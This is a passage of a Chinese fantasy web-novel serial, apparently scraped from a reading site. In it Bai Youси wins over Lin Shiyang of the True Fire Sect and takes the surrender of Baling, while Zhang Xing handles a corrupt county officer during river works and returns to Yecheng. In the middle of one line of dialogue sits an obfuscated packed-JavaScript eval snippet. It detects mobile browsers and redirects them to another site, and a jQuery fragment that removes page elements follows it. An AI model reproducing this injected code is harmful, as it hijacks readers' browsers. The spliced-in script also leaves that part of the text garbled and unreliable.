七月初,滹沱河工程的外堤正式开始。 而这个时候,白有思抵达了位于江西临川郡的铜山,见到了真火教的总观。 “未曾想贵教总观这般……”白有思看着眼前略显破败的、与其说是真火观倒不如说是山寨的建筑群, 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“呆了七八年吧?”林士扬若有所思。 “你这个年纪……七八年,怕是一生最好的时候都在那边吧?”白有思继续发问。 林士扬没有否认:“诚然如此,我对师祖的教导感激涕零。” “我还记得你作为使者去过我们那边?” “是,大长见识。” “那你知道我为何要来此地吗?”话到此处,白有思话锋突转。 “不是**总观吗?”林士扬一愣,似乎没有反应过来。 白有思却没有遮掩的意思,而是开诚布公:“**自然是要**,但若不深入到此处,与江上兵马分割开来,又怎能卖出破绽来?林将军,你们真火教若存了与我们不靖之心,那现在就是个好机会……” 林士扬一时心惊肉跳。 无他,眼前这位白娘子所言,正中要害。 真火教之所以选择近乎于屈服的礼送模式,本质上黜龙帮兵马和眼前这位号称宗师第一的强点并立,实在是寻不出破绽,而就在眼下,黜龙军正在继续西进,即将脱离江西范畴,而白有思则深入江西腹地至此,双方分隔开来,若真火教有意,此时对正在进军的黜龙军发动突袭,是很有可能解决掉这支军队的。 击溃大部队,再由操师御亲自率领教中好手来联合应付白有思,未必不能全胜。 而林士扬更在意的是,对方如此坦荡就把这个话说出来了,俨然是有后手应对的。 “白总管是吃准了我们不敢动手?”林士扬眯着眼睛来问。 “当然不是,我们自己是有后手的,只是想借这个机会看看操师御和真火教在得了江东富贵地后还有没有几分血性与乱世的才能。”白有思摇头道。 “什么后手,军中藏了宗师?”林士扬继续追问。 “徐州军都到了,自然也会有高手压阵,但也真没宗师……最出人意料做指望的,是上游有援军接应。” 林士扬怔了半日,方才来问:“安陆的周效尚……他投了你们?” “他本来就对我们称臣,侄子也在我们那里做到一个行台,更重要的是,他在安陆为三方挟持,不能动弹,巴不得借我们的力量伸展一番,所以我就让他取夏口以作联结了。”白有思从容解释。 林士扬干笑了一声,愈发苦涩:“这南方真真是……大梁也是……便是我们真火教,上面夏口,下面京口,旬日之间,宛若被人挖心抵背……而且这周效尚,我们教中多次拉拢,都是表面功夫,不肯亲自动一动,反倒是黜龙帮一使唤就动弹了,真真奇怪。” “怪不得他。”白有思背靠着真火火盆正色来道。“周效尚是将门出身,到底是见过正经朝堂,自然晓得真火教不是成事的样子……这种情况下,他当然不可能跟你们走,倒是我们跟大英还有东都,谁来得快他跟谁。” “真火教不能成事吗?”林士扬似乎有些愤愤,但还是在笑。 “从三征算起,天下群雄并起,也有许多年了……这六七八年真火教都不能使内里平顺,也不能化教为国,怎么可能还有指望?”白有思继续言道。“林将军,不知道你信也不信,我跟我家三郎闲时是畅想过自此地起家的……如何入教,如何联络教中年轻人,如何收拢本地,如何开辟远方,如何建立制度……可惜,时也命也,三郎走到沽水忍耐不住性情,去了东境,而如今我也走到这里,却只是见到一个火盆罢了。” 说着,白有思不顾身后年轻人面色铁青,将一片衣袖割下,投入了火盆。 火盆上原本只是摇曳的火苗登时暴起,直插云霄。 白有思怔了一下,不由摇头来笑:“还是将真火教说的不堪了一些,至尊都不高兴了。” 林士扬立在身后,望着这火柱沉默良久,等到这异象渐消,方才缓缓吐出了一口气来:“其实白总管所言,我素来知之,此番所求,我也尽知。” 白有思背对着对方纹丝不动,只静静来听。 “事到如今,除非北面相持二十载不分胜负,否则真火教与大梁断无胜机,这是实情。”林士扬在后面肃然道。“但是白总管,你莫非以为我没有二十年空耗的决心吗?如我这般身份,本该在二十年后再做乾坤的。” “所以,我从未指望着要你二十年的忠心,我只要三年五载。”白有思依旧言语缓和,却是终于转身对着对方做出了正式招揽。“三年黜龙帮未见胜势,五载黜龙帮不进江南,你自作你的真火教后继……可若是三年五载中便要剧变,你便还是为了真火教,也该主动做个周旋。” 林士扬这一次没有犹豫太久,而是肃然给出自己的条件:“凡事皆有价,我林士扬也不是空虚之辈,须得一个好价位。” “你要什么?” “我要真火教……”林士扬明显是想说什么,却一时卡顿。 “你要真火教?”白有思略显玩味。 林士扬咬了咬牙:“我自然要真火教,要做下一任教主,但也要真火教与荡魔卫一般,有龙头,能传教到各处,而且江南也要与河北一般比例擢取进士……总之,该有的真火教都要有。” “不行。”白有思想了一下,给出答复。“一则若只买你,自然只酬你;二则,公平取士,放开传教,本是黜龙帮平策,无须你言;至于真火教将来的地位,那是要看这三年五载真火教会有如何举措的。” 林士扬恢复冷静,却只是冷哼了一声:“这就是我的意思,若黜龙帮大势压来,我自有法子使真火教动作起来,免得双方徒丧血汗,否则我自赔命。” “那就一言为定。”白有思瞥了眼身后如常的火盆。“你看,至尊也未反对。” 回应白有思的,是火盆内的火光一时摇曳,与林士扬毫不迟疑的应声:“那就一言为定。” 林士扬既被收买,白有思追上继续逆流而上的大军,并于夏口汇集割据安陆三郡的周效尚,三方合兵,总数达到六万。 然而,如此大军,又有宗师坐镇,不去奋起进军直扑湖南叛军腹地,却居然在夏口掉了个头,顺着汉水而上,去了江北,直扑竟陵而去。 竟陵守将朱纣明明是受了大梁敕封的一个王,此时竟不敢做任何辩解与对抗,而是毫不犹豫扔下了竟陵,带着数千从南阳跟过来的部属,又一路往北逃去了。 原来,朱纣曾是伍惊风的旧部,但军纪极差,当日伍惊风在南阳不能立足,投奔黜龙帮时,这厮因为畏惧黜龙帮军纪,便干脆自家拉着几千人南下,做了大梁的官,还果断投奔了操师御,并替操师御与湖南诸侯发生过交战。 此时,闻得白有思引着这般兵马过来,他如何敢留? 然而,朱纣既带着兵逆流而走,如何能快?白有思亲身追上,到底是在石梁山寻到他,一剑了断,复又拎着首级回来了。 朱纣既走且死,倒也干脆,可是这么一来,湖南叛军便有了充足准备,很快就有情报,大量的部队往洞庭湖内外集结,而有意思的是,作为洞庭湖往下游门户的巴陵,却并没有汇集过多兵力。 白有思率军重新顺汉水而下,回到夏口,再转陆路,于七月十八,从容进抵巴陵,临洞庭湖。 随即,她下令将朱纣首级送入城内,然后要求对方投降——她申明自己客军之名,只要梁主萧辉不做追究,她也不做多余之事。 然而,巴陵守军骨头意外的硬,对方派人送还使者,先对白有思斩杀朱纣一事表达感谢,然后直言不讳,梁主萧辉不辨忠奸,不明是非,此番湖南十三路诸侯一起反叛,便是决心不再与大梁共事,所以他们有死无降。 “那就打吧!”杜破阵摩挲着自己的掌心,率先表态。“总得动手。” “我赞同。”辅伯石也立即表态。 “赶紧打!”王厚干脆是迫不及待。 这三人一说完,淮右盟内有头领身份的跟徐州来的头领们纷纷赞同,倒是周效尚保持了某种冷静,只盯着白有思看。 “那要不这样,你们不降大梁,降大明如何?”白有思将目光从外面的雨水上挪开,看向了身前湿漉漉的使者。“可以走安陆,转到淮北,我让他们找地方安置你们……到时候不拘是继续从军还是转为百姓务农,也总比白白抛洒在这里要好吧?湖南我还是要交给萧国主的。” 营帐内,不少人都先错愕继而心动起来,便是跟着白有思过来的萧辉亲信也都有些犹疑,一时半会算不清账目来……这听着,也不是不行吧? 而杜破阵和辅伯石心动之余更是觉得,这白三娘越来越像张三郎了。 PS:大家回来工作了吗? 第七十七章 安车行(6) 夏末的雨水霏霏,撒入烟波浩渺的洞庭湖。 传说中,洞庭湖中曾有龙,只是因为时常兴风作浪影响了赤帝娘娘开辟山野给宰了而已……这也是关于赤帝娘娘黜龙的唯一确切记载。 实际上,黜龙帮既然起了这个名字,如今又得了势,甚至还真黜了龙,那自然要把黜龙的正当性往上延伸,四御黜龙便也成了某种招牌。 据说,魏玄定魏国主已经着手要在邺城构筑浮雕了,头一篇就是四御黜龙,只是没有确定到底是在临漳三台上雕刻还是在城东大校场来刻罢了。 当然,这暂时不关白有思的事情,她现在的任务就是清剿这没有龙的八百里洞庭湖。 “白总管,这不该拦一下吗?”半日雨歇,傍晚阳光再现,巴陵城南联军阵地某处临湖小丘上,当着一众联军高层的面,杜破阵指着湖上一处认真进言。“要不要我遣淮水水军试一试?” 彼处,正有一艘小船从巴陵城背后驶出,看方向,应该是从水门驶出,往洞庭湖内部去做联络的。 白有思微微皱眉,似乎是在考量这个建议。 这个时候,同样在小丘上观望的林士扬却忽然开口呵斥,丝毫不给对方这个实际联军领袖面子:“杜盟主这是什么话?既是劝降,便要示之以诚,如今动手,岂不是平白失了人心?” 且说,联军成分复杂,白有思是名义上的统帅,兵马是杜破阵所领淮右盟、王厚所领徐州行台、安陆周效尚部三处构成。此外,南梁这里,真火教跟南梁国主也都派遣了类似于监军的存在,其中真火教那里来的正是林士扬,而南梁来的则是之前被白有思吓到的那位宗室萧烁……可除此之外,大军行动总要民夫与物资,而江南江北各处虽都在大军当面之实与国主加国师晓谕之名下不敢不从,可也不免心怀鬼胎,这些沿岸和巴陵周边郡县的官吏、驻军,恐怕连他们自己都说不清楚自己的立场。 故此,此番林士扬直接顶上杜破阵,却是引得下方不少人不安起来,乃是生怕真火教与得了外援的国主刀兵相见。 真要是那样,这大梁也就真要凉了。 偏偏又不敢作声。 而杜破阵被当众顶撞,竟也丝毫不乱:“林将军,军中相商大事,你不要插嘴。” “杜盟主,你此番言语,是以何身份来教训我?淮右盟盟主,抑或黜龙帮龙头?”林士扬愈发愤怒。 杜破阵面色未尝有半点变化,只昂然来应:“自然是替萧国主来做教训!白总管现在是萧国主延请友军之元帅,我是副帅,这是萧国主明文旨意,你是什么身份,在这里指点军务?” 林士扬冷笑一声:“在下是国师所遣沿江都督,兼湖南平叛向导,杜盟主要看文书吗?” 杜破阵居然伸出手来。 林士扬气急败坏,终于拂袖而去,也不知道是不是回营临时写文书去了。 另一边,目送林士扬离去,白有思终于开口:“杜副帅所言极是,兵战凶危,若不是将咱们的能耐露出来,怕是巴陵城内也要觉得我们可欺也说不定;可刚刚那位林将军说的也有道理,既是劝降,反正只约了一日,若是此时动手怕是会弄巧成拙……不如这样,我送一送他们。” 前面一段话众人还以为这位白总管在和稀泥……颇有些老僧也伸伸脚的感觉,但听到最后一句话,却又委实茫然起来。 当然,茫然只是一瞬间而已,下一刻,这位号称宗师第一的白总管腾空而起,然后空中一抖,真气显化出来,如龙又如凤,便往水门后刚刚驶出的船只方向而去。 然后在城内城外数万军士的目瞪口呆中只是凌空一驻,便俯身而下,直扑船尾兴风作浪……是字面意义上的兴风作浪,在真气的推动下,浪花翻滚,逆向往湖心而去,连带着那只船,也被浪花所推动,往湖心扑去。 不过,白有思还是失算了,随着这一滚,水门附近水位下降,不过半刻钟,那浪又滚了回来,将船只送回。 白有思难得尴尬,空中笑了一笑,便又飞回。 然后,待这小船在波浪中反复了好几回方才寻到机会离开,白有思却不再做多余动作,只早早回到那小丘上,与那些面如土色的江南江北官吏谈笑风生,说些他们不知道的宗师能耐。 而这些南方官吏平生委实见不得几个宗师,竟然现在才知道,宗师可以凭空而定,可以显化观想之物,可以穿山过水,单人破城。 就这样,到了第二日,巴陵城内再度遣人来见,而且居然自称是城内守将,此番叛乱的湖南十三诸侯之一的苏车,而众人素来晓得,苏车此人一手手掌断了半截,乃是当日湖南、江西第一次大摩擦时被朱纣军所伤,此时伤口已经长好,断然做不得假,也是立即做了验证。 城中守将亲自到来,加上昨日宗师之威,更重要的是白有思对此番湖南叛军的承诺,上下自然晓得这是守将顶不住了,要来降了,于是纷纷装束停当,来为白元帅做仪仗。 而苏车既至将台之上,也是干脆直接,当场拜倒,口称有罪:“罪将拜见元帅,元帅杀朱纣、宽宥全城之恩,罪将没齿难忘。” 白有思自然颔首,便要起身,另一边,杜破阵与林士扬两人也都忙不迭起来要继续搞他们的幺蛾子,便是那萧烁也都犹犹豫豫的站起身来,只是没有那两位这么利索和急切而已,而且恐怕也不知道该说些什么。 “然则,恕我本人不能降,请斩我以存城内湖南子弟。”苏车头也不抬,继续来言,半截手掌全都按在雨后软泥之上。 “你这人,到底懂不懂得什么是江湖义气?”杜破阵一怔,倒也不稀奇,当先呵斥。“你只晓得对其余湖南各家义气,难道不晓得对自家兄弟义气?我们黜龙帮自然大气,可这些人没了你,到了淮上也不免忐忑的,有了你他们才能心安!” “苏兄!”林士扬干脆走过去跪在对方身侧。“时势不同了,当日在鄱阳湖上,你已经尽了对张范、许玄他们的义气,如今国主借了黜龙军来,白元帅这般能耐,周遭这般兵马,你无论如何都已经仁至义尽……我当日无能,不能救你,这一回是断然不能坐视你这般自家糟践自家的……咱们真火教不能再自相残杀了!” 说着说着,竟然泪水涟涟,当众哭了出来。 那苏车看了看立着的杜破阵,又看了看哭成泪人的林士扬,虽然不晓得前者身份,只知道后者根脚,虽然既有些反感和恶心,又有些认可和委屈,但此时一切的一切却被另一种巨大的情绪给遮掩住了,那就是无力感。 “诸位,你们这都是什么呀……”苏车无语至极。“之所以如此,不是因为不愿意降,是不能降!昨日使者走后,我连在真火盆里扔了九次献祭,全都是蓝焰可降,但之前为了方便作战,也为了防止谁擅自投降,我们的家眷全都送入到了八百里洞庭湖里,不光是我们城内这三千兵马的家眷,便是其余十二家也都是如此,而且湖内情况复杂,如今便我是想把人撤出来,也都不知道去哪里寻,怕是亲自在湖内坐镇的张范都分不清谁家家眷在何处!故此,事到如今,只能用我一死,来换家眷安稳罢了!省的湖中有些人脑子发热,便朝家眷下手!” 众人也都讪讪……这种情况确实难办。 犹豫了一下,林士扬收起眼泪,朝着白有思下拜:“白元帅,可否给我们真火教兄弟一条活路?容苏将军回去,多待几日,尽量多收集一些军士家眷?” 白有思虽晓得对方是在趁机登鼻上脸,但居然没有恶心之意,只是立即摇头:“不可以,大军初战,必然要从速,所谓不降则战,以振军心。” 林士扬还要说些什么,苏车也要表态,白有思却继续挥手:“那就这么办吧!请苏将军先协助杜龙头收降巴陵城,然后协助周将**运降人北上淮西……事情做完了,再劳烦周将军在江北岸将他公开斩首!” 在场之人还要说些什么,一直闷不吭声的周效尚早已经起身,恭敬做答:“白总管放心,属下一定让苏将军明正典刑,不使湖中降人家眷受到牵累。” 不少聪明人此时方才醒悟,反正只是一个表态,那苏车真死假死其实无谓,甚至人家苏车说不得也有这个意思,只是没法亲口说出来,结果这些人只顾着拉拢作态,却无人想到这一层,差点真把人憋死。 当然,林士扬想的更多,他作为局内人,心知肚明,别看湖南这边现在如何大义凛然的,那不过是操师御占了上风,这些湖南人占了下风而已。实际上,真要说各种人心散乱,各种争权夺利,湖南诸侯内里并不比现在的真火教还有萧国主那里差。 当初真火教还没有加盟的时候,萧辉在湖南这边,就是被湖南诸侯内部厮杀弄得焦头烂额,只是现在**师御压着被迫一体罢了。 那么从这个角度来说,苏车真真假假的**,说不得也是一种针对湖南诸侯的攻心之计。 想到这里,林士扬又忍不住去看白有思……他心知肚明,自己之所以会动摇,包括黜龙帮之所以选中自己,三个条件缺一不可: 一则是他现在的地位,真火教拿下江东,不能自我把持,上下左右动荡内斗,自己算是趁机拉起了一个年轻人的派系,这算是有实力;二则,所谓内奸自古似忠臣,他当日去老教主身前固然是个耳目,但到底得了老教主的教导,有了一层关系,便是操师御这个前义兄也不得不用收徒的方式来做遮掩,这就是老教主的影响力,而黜龙帮一旦南下,少不了要把老教主再架起来的,这叫做有靠山;三则,他其实是江南这里少有的了解过黜龙帮体制架构的人,那一次出访以及与东都使者房玄乔的多日交流,给他带来了巨大的震撼,他敏锐的意识到,黜龙帮是真的把架子搭起来了,而且是有他们自己一套说法的,就像盖房子和造船一样,是有章法和道理的。 不过,一直到现在,这位真火教后起之锐都没有搞明白为什么黜龙帮能够把房子盖起来,但也不需要知道,他只需要知道目前呈现出的结果是,黜龙帮那一套成了,架子立住了,没有出现割据**的情况,没有出现大规模内战的情况,而且现在在整军蓄力,伸张布局,准备与大英并争天下。 而江南这里,却成了现在这个鬼样子。 甚至,有时候林士扬自己会纠结一个特别没有意义的问题,那就是到底是黜龙帮做的特别好,超出了常规,还是江南这边做的特别不好,烂到了淤泥里? 总之,他是有意愿改变江南的。 这一日,林士扬失神了许久,一直到晚间进入巴陵城为止,竟没有再与杜破阵争吵。 “巴陵既降,洞庭湖门户大开,接下来应该以雷霆之势继续进军,以扫荡洞庭湖,而若洞庭湖能速速入手,则湖南之乱便可平了八分。”巴陵城原郡府大堂上,借着身前身后多个火盆的映照,杜破阵指着面前简易的洞庭湖地形图言之凿凿。 “杜副帅何其谬也?”林士扬立即反驳。“湖南之乱,应当攻心为上,如今巴陵猝然降服,便是明证,也应该借此机会继续对湖中各路诸侯招揽为上,哪来的雷霆之势?” “若要招揽,之前便不该‘杀’了苏车。”杜破阵瓮声瓮气。 “真真假假,假假真真,应付的时候说杀了,招揽的时候说放了,乱的反而是湖内那些人!”林士扬语气坚定。“反倒是杜副帅,你想过没有,洞庭湖这么大,岛屿草甸无数,连苏车一个巴陵的守将都不晓得自家家眷在何处,咱们怎么征伐?往哪儿征伐?” “湖中不是有真火观吗?”杜破阵语气有些怪异。“那个湖心大观,必然是他们的要害,占住便是。” 一个真火观所在的小岛顶个屁用! 林士扬当场冷笑,便要嘲讽对方……但旋即他便意识到,以杜破阵多年做贼的水平不至于不懂得这个敌进我退的基本道理,而且对方语气也明显不对路,俨然这厮也是知道这个话是不对的,那这厮必有后话。 所以,林士扬硬是把嘲讽的话给了咽了下去。 “只是一个岛,占住了也多少无用。”白有思盯住了杜破阵,直接来问。“杜龙头有什么见解?” “其实很简单。”杜破阵摊手来道。“洞庭湖八百里,若只是那张范领着几千精锐散在其中,怎么也难找,最起码要找本地人弄清楚地理,然后挨个破寨,咱们这么多兵,跟他耗下去,本身便是他赢了。可这不是我们往北面杀朱纣晚了一旬,使得周遭的几家叛军都把家眷放进去了吗?这么多人,接下来粮食怎么调度?湖南诸侯掌握整个湖南,不至于要各军家眷去吃水草吧?所以,关键是摸排住进入湖内的粮道,或者找到湖内存粮的地方,截住他们,便可逼迫他们来与我们作战了。” “确实可以寻找粮道,这么多人用粮,免不了痕迹。”周效尚表示赞同,看向杜破阵的眼神也明显变了。“而且还可以现在就卖破绽,从今日开始,就把咱们自己的粮道暴露出来,城内也可以每日宴饮,大开城门不禁来往。” “确系是个手段。”林士扬勉力应对。“可是白总管,此战还是应该攻心为上。” “说得对。”白有思立即点头。“你们说的都对,而且相互不干涉……杜龙头,你把淮上水军开进洞庭湖,然后熟悉水道,寻找粮道,遇到机会直接下手;林将军,你去联络本地人,尝试招抚湖内各处乱军;至于周将军,你继续保障后勤,把粮道暴露出来;还有王大头领,你找一个合适的地方立寨,以作埋伏,若他们真敢上岸来抢粮,你就断了他们后路;辅大头领则负责监视和控制此城;萧将军负责在城内安抚本地士民……至于我,平素就在这城内等他们,也去做亲身侦查。” 众人听得白有思吩咐妥当,不敢怠慢,纷纷起身称是,便是林士扬也没有追问若是他的抚与杜破阵的剿撞到一块该如何……他自家心知肚明,此番过来是为了立人设,又不是真要做慈善至尊的。 事情到了这里,就算是定下了策略,众人不该多做其他的,但周效尚本是南方将门,转身看到那个立在堂前院内的火盆,不由心中微动,复又止步来言:“白总管,既然那苏车九次献祭都蓝焰,可见此次平叛大势所趋,至尊也是庇佑的……咱们要不要也试试?” 白有思笑了笑,主动割下衣袖一角,直接走上前抛入其中。 火苗轻易将布料吞没,并无什么明显焰色,众人中的南人见此,多如释重负……有时候没有什么征兆,反而是最好的。这个道理,杜破阵、王厚、辅伯石也都晓得,便是那个萧烁都懂得。 不过,也就在周效尚要说些场面话的时候,忽然间,火盆中的火焰在燃尽衣料的情况下复又变得明亮起来,中间甚至有一丝黄亮色的光芒直冲云霄,在暮色中格外显眼。 周效尚见状,立即改口,却不免声音微颤:“白总管得至尊钟爱,此战必胜。” 其余人也都有些色变。 白有思闻言,反而摇头:“到了我这个修为,差一步就是大宗师了,如何不得天地钟爱,倒也未必是至尊的本意。” 大家纷纷颔首,却也不免心惊,这是白有思第一次承认自己已经接近大宗师了。 随即,众人散去,倒是白三娘依旧留在火盆前若有所思……她现在想的倒是很简单,自己还是个凡人,所以有时间依然难明心迹,譬如现在,她看似豁达,但还是有些不晓得该如何面对天上那位跟自己的关系以及自己的身世。而且南面会想,天上那位虽为至尊,却素来有些情绪,也不晓得还有没有凡人这些忧思,会不会对自己来征讨当日真火教残部而同样觉得为难? 而且,继续想下去,想到凡人与至尊,想到自己的路途,想到自己观想三郎,之前觉得是循绳脱井,如今却不免有些忧虑,会不会一直居于人后? 想到这里,白三娘忽然警醒,自己这是修为到了一定份上,遇到了壁障,起了心潮。而且,她也马上意识到,想要破解这个壁障,怕是不止念头通达,还要用功业成败来定。 当日杨斌顺流而下,势如破竹,直入大海,如江神骑黄龙以证大宗师,就是最好的例子。 一念至此,白有思倒是收敛了心神,抛下摇曳火光,转身休憩去了,只是不忘写信给张行,说明自己的所感所遇。 相隔数千里路程,张行倒是没有遇到什么修行上的壁障,恰恰相反,他这些天倒是有些御风而行的舒畅感……倒不是说他喜欢挖泥打灰,而是他发现,随着他把河修起来以后,现在的帮内事务几乎全部都迎刃而解。 这倒不是说什么他张首席英明神武,威望卓著,所以无往而不利……便是他真到了那个份上,又哪来的无往而不利?这么大一个帮,一个国家,即便是结构性的矛盾都数不胜数的。 但是,修河这个事情,本身具有一种很微妙的性质,它是介于常态和非常态的,同时能动员到最基层……介于常态和非常态,意味着张行可以灵活的利用它,用非常态压制常态,用常态抑制非常态……什么意思?你要打仗,对不起,我们在搞民生工程,你怎么能想着去打仗呢?你要躺平,对不起,我们在搞民生工程,你怎么能躺平呢?这个时候应该突破常规才行!平时不能做的,现在都可以做! 而且,修河本身就是一项需要广泛动员的工程,便是踏白骑能挖沟,可总要有本地役夫来培土,总要有本地官吏规划河道,这种广泛动员,配合着黜龙帮兼大明实际领袖张首席,天然就能对精英阶层起到压制。 自陈斌到冯无佚,自单通海到韩二郎,自魏玄定到老沈,全都在这项规程面前大败而归。 到了后来,张行开始主动出击了。 一开始是水利资源分配,然后是借此引申出的行政区划重构,再然后是人事检验和调度,现在已经开始大规模惩治**了。很难说水利工程是怎么跟惩治**联系到一起的……但事实就是,一边修河一边惩治**具有极高的效率。 张行可以从被激发热情的最基层那里轻易获知相关官吏的风评,能从后勤准备与动员工作看出来相应官员的能力,甚至还能亲自与嫌疑官员做个交谈,上演一出青天大老爷的戏份。 平心而论,他现在不是很热衷于这种表演,但有时候依然需要这种表演。 “听人说,你是河北老义军的出身,从咱们一来河北便投效了,也算是积年的老人,如今更是做到县尉,前途大好,便是此番修堤也算谨慎,如何贪这几匹马?”张行坐在秋风舒畅的新立河堤上,状若不解。“岂不是因小失大?” 被喝问的弓高县尉羞愤欲死,只在地上叩首,周围人则泾渭分明,踏白骑以及本地官吏多肃然以对,而本地百姓则指指点点……当然,后者很快被前者同化,现场变得安静起来。 可能是过于安静的气氛让此人承受不住,最终这位**了役马的县尉说出了理由:“首席,是我不知耻,来到地方做了县尉,便想着要富裕威风起来,又因为咱们授田这么严密,想要多些财物委实艰难,乡里认可有排场的财物,只有牲畜不限,这才打了役马的主意。” 张行沉默了一下,认真来问:“火耗归公,都是定数,你贪役马的时候没想过会被轻易指出来嘛?” “是我贪心太过,无耻无能。”那县尉连番叩首。 “你的功勋授田远高于寻常百姓,却还是不足?”张行继续来问。 “是我无耻无能!”那人只是叩首。 张行扭头看向对方侧后方的弓高县令,后者不敢迟疑,立即向前:“首席,按照他平日里的言行来看,应该是拿自己跟当年暴魏时县尉的排场来比的……暴魏时的县尉跟他的地差不多的,可实际的利市却多的多。” “那倒是。”张行幽幽一叹。“当年那情景,多少人都是见过的,城内的妓院赌坊,城外的野寨码头,乡里的高利债,哪个不要给县尉孝敬?” “暴魏的时候,下面的县尉道理上是流官,实际上却多是本地安家难得升迁的土皇帝,这些人,只要县令不管,那可不只是这些黑道生意。”一人突兀出言,却是最近寻来的登州总管程知理。“只是你这厮,明明亲身做了如今的好大局面,却如何还以为这河北是过去的河北?这是白做了这几年!” “我……无耻无能……”那县尉只是如此言语。 张行看着身前之人,心知肚明,弓高县尉是河北义军出身,是窦立德在去年夺取河北后推荐的人选,而此时,这县尉自己的认罪以及程知理的谴责,都不能说有问题,却也必然掺杂了对窦立德的维护……程知理打帮腔只是顺路,而这个县尉恐惧到这个份上,就是更多的出于担心自己会连累后面一堆人的缘故了。 平心而论,从黜龙帮建立以来,张行似乎都在与这种东西做斗争,也算是与这种东西做共存,而无论是斗争还是共存,本质上都是为了不让这些东西影响他想要做的事情,今天当然也是如此。 “如此说来,咱们还是有些亏待了这些官吏……”一念至此,张行压下心中的多余情绪,扭头来看程知理。 程知理一时间有些懵,对方这话语气恳切,明显是要自己说亏待,但现在说亏待是不是有些不对劲? 于是乎,其人愣了一下,只能嗯了一声。 “土地是根本,但土地的收益太低了。”张行正色道。“强压着这些人不能得利,迟早会出岔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168032|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子……” “那按照之前帮里的说法,把火耗归公的盈余做养廉钱?”程知理马上跟上了趟。 “必要时可以搞,但现在没必要……毕竟火耗本质民脂民膏,是从下面来的,若是这些官吏能从这里面光明正大的拿钱,怕还是要折腾下面。”张行摇头以对。 “那我知道了。”程知理立即扬声道。“用曹总管那里的出息做贴补便是……而且有些东西本是贴补,也应该收回来,放在曹总管那里……就好似大行台的廊下食。” “不错,大行台基层文书参军们的廊下食;偏远地方炭补衣补;离家远的人传邮费……要有针对性,不能大撒钱。”张行补充道。“所以你觉得如何?” 程知理还能如何,乃是立即颔首:“当然是极好的方略……便是现在曹总管那里刚刚赚了钱,将来的事情不好说,也可以做个试验,先拿修河的这些官吏做个样子。” “好,这事你来办。”张行即刻做了发落。 程知理有些兴奋,但也有些心慌,乃是一面赶紧答应,一面又赶紧来问:“休整济水的事情首席怎么说?” “不是不行。”张行给出答复。“尤其是济水下游,按照你说的,大宗师过去后东夷人立即老实了,没有战事风险自然可以修,但要量力而为……这样好了,你先把眼前的事情做好,再弄个计划,只今年秋后一冬的,多一日都不行。” “好!”程知理大为惊喜,只觉得此行不虚,因为目前为止他是唯一一个从张行这里讨来修河工程许可的封疆大吏。 而就在程大郎几乎要直接走人时,却又马上醒悟过来,指着地上那人来问:“首席,虽说凡事举一反三,但此人罪过却不可恕!而且正当修河,反当严惩!” “我又不懂的刑律。”张行摆手道。“只是恰好遇到这么一个事罢了,当然要送给刑律部议罪。” 这就是要确保不做牵连了,程知理更加欣喜,立即去呵斥那县尉……而那县尉真真是蒙了大赦,就在地上朝张行与程知理重重叩首,然后便掩面而去了。 当日不提,过了四五日,张行铺陈完浊漳水下游区域,却并没有继续将修河继续下去,反而是回到了邺城……首先是因为要秋收了,不能调度地方人力,其次是下一步要进行的工程乃是滹沱河的二期工程,需要滹沱河水位下降,目前也没法修的缘故。 就这样,张行时隔小半载,回到了他忠诚的邺城。 而不过是半年,邺城又已经反覆换新颜了……这还不算,借着秋收,明显有往外进一步扩展的意思……没办法,比较一下东都和西都两个天下首都就知道,原本的邺城再怎么扩展还是显得小了些。 不过,相较于东西都坊市制度的严密,邺城这里走的是典型的自然扩张和引导,商业市场到处都是,城市形状奇奇怪怪的,却是显得不够严整。 可以想象,治安风险也更大一些。 而果然,大行台众人迎上张行,第一个话题也是这邺城。 “两个路数,魏公的意思是继续扩大邺城,或者修建宽阔驰道,联结魏县与临漳县。”说话的是代领靖安部的谢鸣鹤,他负责汇报情况似乎没什么不妥。“陈总管的意思是,都挤在一起没什么必要,幽州也挺好,济阴也不错,乃至于听涛城都是大有可为的……” “这不搭边。”骑在黄骠马上的张行当即失笑。“做军事考量也不是这么来的。” “不错,所以陈总管自家改了说法,他觉得应该着重发展邯郸、贵乡和黎阳三城。”谢鸣鹤没有理会身侧面色发紧的陈斌,继续来言。 “这就对了。”张行点头,复又看向了另一侧并马的魏玄定。“魏公,你跟陈总管的方略都是一样的,但你想把什么东西都装在魏郡一个郡里,这次怎么就不考量之前兵马太多地方承受不住了?这事你不占理,我赞同陈总管的方略……可以给邯郸、贵乡、黎阳三城重新划界,然后抬高三城城守的级别,算是都尉、郡丞一层,副于郡守,许他们建立新郭,但不管怎么要预留足够的军事通道。” “这就妥当了。”陈斌立即出言敲定。 魏玄定也只能叹口气,他如何不知道是自己胃口太大?如何不晓得自己的建议一定会败给陈斌主动调整的建议?但他原本准备的是,这条建议会在正式的吞风台会议上进行讨论,成为他其余议案的垫脚石……但现在好嘛,谢鸣鹤一张嘴,直接在城外就给定下了。 到了这份上,魏玄定也懒得再给谁面子,当场便拉下脸来:“首席既回邺城,总要秋收后再走,什么话不能放到吞风台上说?便是谢总管要汇报机密也该等到没人的时候,现在人山人海的,又如何能说出口?” 谢鸣鹤目的达成,嘿嘿一笑,丝毫不在意。 其余人也在雄伯南的带领下哄然一笑,气氛随之摆开……然后又簇拥着张行走进了邺城的东大门。 魏玄定所言人山人海委实不虚,张行带领踏白骑回归,怎么都算的上是荣归,大行台上下相迎,邺城百姓早晓得张首席没有规矩,也都纷纷来看,这还不算本就往来不停的北地、东夷、南梁商队,甚至有巫族人驻足……城头郭外,切切实实都是人。 张行一如既往的和善,举着手左右招呼,便打马过了拓展后的“城门洞”,进入“天街”,眼瞅着穿城而过,往城西的行宫方向而去,谢鸣鹤忽然又来开口:“首席,百姓热情,要不要说几句?” 张行驻马四下来看,心中微动,却终于是缓缓摇头:“确实有话要说,但不是今日,再等一等吧!魏公主持一下,让踏白骑皮红挂绿,好生恣意一会,我们且回吧!” 